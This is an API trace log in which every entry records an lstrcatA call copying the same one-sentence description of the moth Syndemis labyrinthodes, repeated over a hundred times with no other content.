[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.755] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.756] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.757] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.758] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.758] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.758] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.758] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.758] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.758] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.758] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.758] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.758] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.758] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.758] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.758] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.758] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.760] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.760] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.760] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.760] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.760] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.760] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.761] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
